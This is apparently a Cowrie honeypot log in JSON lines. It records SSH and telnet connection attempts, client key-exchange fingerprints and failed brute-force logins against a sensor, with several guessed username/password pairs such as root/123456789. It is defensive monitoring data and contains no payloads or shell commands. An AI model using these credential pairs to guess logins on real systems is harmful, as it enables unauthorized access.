{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":34808,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf2ced07f861","protocol":"telnet","message":"New connection: 107.6.151.170:34808 (159.203.135.109:23) [session: bf2ced07f861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:17:51.065547Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.155.138","src_port":55486,"dst_ip":"159.203.135.109","dst_port":22,"session":"6783a5da78ed","protocol":"ssh","message":"New connection: 132.148.155.138:55486 (159.203.135.109:22) [session: 6783a5da78ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:19.920173Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:19.991731Z","src_ip":"132.148.155.138","session":"6783a5da78ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:20.053171Z","src_ip":"132.148.155.138","session":"6783a5da78ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"polkadot123","message":"login attempt [root/polkadot123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:20.784936Z","src_ip":"132.148.155.138","session":"6783a5da78ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:21.926114Z","src_ip":"132.148.155.138","session":"6783a5da78ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.13756465911865,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:23.202962Z","src_ip":"107.6.151.170","session":"bf2ced07f861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.513139486312866,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:23.962924Z","src_ip":"137.184.5.188","session":"c8365fe0391e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":33856,"dst_ip":"159.203.135.109","dst_port":23,"session":"cee0a3039d25","protocol":"telnet","message":"New connection: 170.64.224.25:33856 (159.203.135.109:23) [session: cee0a3039d25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:40.030351Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":38888,"dst_ip":"159.203.135.109","dst_port":23,"session":"79325c220d14","protocol":"telnet","message":"New connection: 170.64.224.25:38888 (159.203.135.109:23) [session: 79325c220d14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:18:55.625174Z"}
{"eventid":"cowrie.session.closed","duration":22.392691373825073,"message":"Connection lost after 22 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:02.422920Z","src_ip":"170.64.224.25","session":"cee0a3039d25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.176","src_port":53742,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0adcfa54dbe","protocol":"ssh","message":"New connection: 91.92.40.176:53742 (10.17.0.5:22) [session: c0adcfa54dbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:07.102095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:07.105673Z","src_ip":"91.92.40.176","session":"c0adcfa54dbe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:07.186827Z","src_ip":"91.92.40.176","session":"c0adcfa54dbe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"changeme","message":"login attempt [ubuntu/changeme] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:07.437185Z","src_ip":"91.92.40.176","session":"c0adcfa54dbe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:08.521309Z","src_ip":"91.92.40.176","session":"c0adcfa54dbe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":40894,"dst_ip":"10.17.0.5","dst_port":22,"session":"a46100ecafea","protocol":"ssh","message":"New connection: 91.92.40.10:40894 (10.17.0.5:22) [session: a46100ecafea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:18.137270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:18.288195Z","src_ip":"91.92.40.10","session":"a46100ecafea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:18.289999Z","src_ip":"91.92.40.10","session":"a46100ecafea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789","message":"login attempt [root/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:19.467525Z","src_ip":"91.92.40.10","session":"a46100ecafea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:20.677548Z","src_ip":"91.92.40.10","session":"a46100ecafea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":38108,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa251f0a7874","protocol":"telnet","message":"New connection: 107.6.151.170:38108 (159.203.135.109:23) [session: fa251f0a7874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:21.343997Z"}
{"eventid":"cowrie.session.closed","duration":0.003276824951171875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:21.347139Z","src_ip":"107.6.151.170","session":"fa251f0a7874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.874605655670166,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:30.499708Z","src_ip":"170.64.224.25","session":"79325c220d14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41530,"dst_ip":"159.203.135.109","dst_port":22,"session":"d02fe85dbe23","protocol":"ssh","message":"New connection: 103.77.242.62:41530 (159.203.135.109:22) [session: d02fe85dbe23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:56.045454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:56.048934Z","src_ip":"103.77.242.62","session":"d02fe85dbe23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:56.288214Z","src_ip":"103.77.242.62","session":"d02fe85dbe23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"25101981","message":"login attempt [root/25101981] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:57.008946Z","src_ip":"103.77.242.62","session":"d02fe85dbe23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:19:58.251752Z","src_ip":"103.77.242.62","session":"d02fe85dbe23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.247.120","src_port":50864,"dst_ip":"10.17.0.5","dst_port":22,"session":"13de75bae7b4","protocol":"ssh","message":"New connection: 173.236.247.120:50864 (10.17.0.5:22) [session: 13de75bae7b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:08.542939Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:08.547082Z","src_ip":"173.236.247.120","session":"13de75bae7b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:08.558575Z","src_ip":"173.236.247.120","session":"13de75bae7b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethiopia","password":"Addis#Ethereum@P@ss","message":"login attempt [ethiopia/Addis#Ethereum@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:08.593634Z","src_ip":"173.236.247.120","session":"13de75bae7b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:09.608945Z","src_ip":"173.236.247.120","session":"13de75bae7b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.175.15","src_port":59194,"dst_ip":"10.17.0.5","dst_port":22,"session":"7de55f8d58fd","protocol":"ssh","message":"New connection: 103.77.175.15:59194 (10.17.0.5:22) [session: 7de55f8d58fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:23.473204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:23.476816Z","src_ip":"103.77.175.15","session":"7de55f8d58fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:23.715711Z","src_ip":"103.77.175.15","session":"7de55f8d58fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11101978","message":"login attempt [root/11101978] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:24.438160Z","src_ip":"103.77.175.15","session":"7de55f8d58fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:25.676614Z","src_ip":"103.77.175.15","session":"7de55f8d58fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.163.176.54","src_port":42254,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d30df8bf1de","protocol":"ssh","message":"New connection: 69.163.176.54:42254 (159.203.135.109:22) [session: 4d30df8bf1de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:43.630008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:43.634184Z","src_ip":"69.163.176.54","session":"4d30df8bf1de","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:43.704702Z","src_ip":"69.163.176.54","session":"4d30df8bf1de","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"afghanistan","password":"Kabul#Bitc0!n$M@st3r","message":"login attempt [afghanistan/Kabul#Bitc0!n$M@st3r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:43.915702Z","src_ip":"69.163.176.54","session":"4d30df8bf1de","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:44.988746Z","src_ip":"69.163.176.54","session":"4d30df8bf1de","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.198.154.150","src_port":45444,"dst_ip":"159.203.135.109","dst_port":23,"session":"191f501785df","protocol":"telnet","message":"New connection: 143.198.154.150:45444 (159.203.135.109:23) [session: 191f501785df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:20:49.609324Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.10","src_port":55072,"dst_ip":"10.17.0.5","dst_port":22,"session":"3333950a7f39","protocol":"ssh","message":"New connection: 91.92.40.10:55072 (10.17.0.5:22) [session: 3333950a7f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:02.965221Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T15:21:03.141728Z","src_ip":"91.92.40.10","session":"3333950a7f39","protocol":"ssh"}
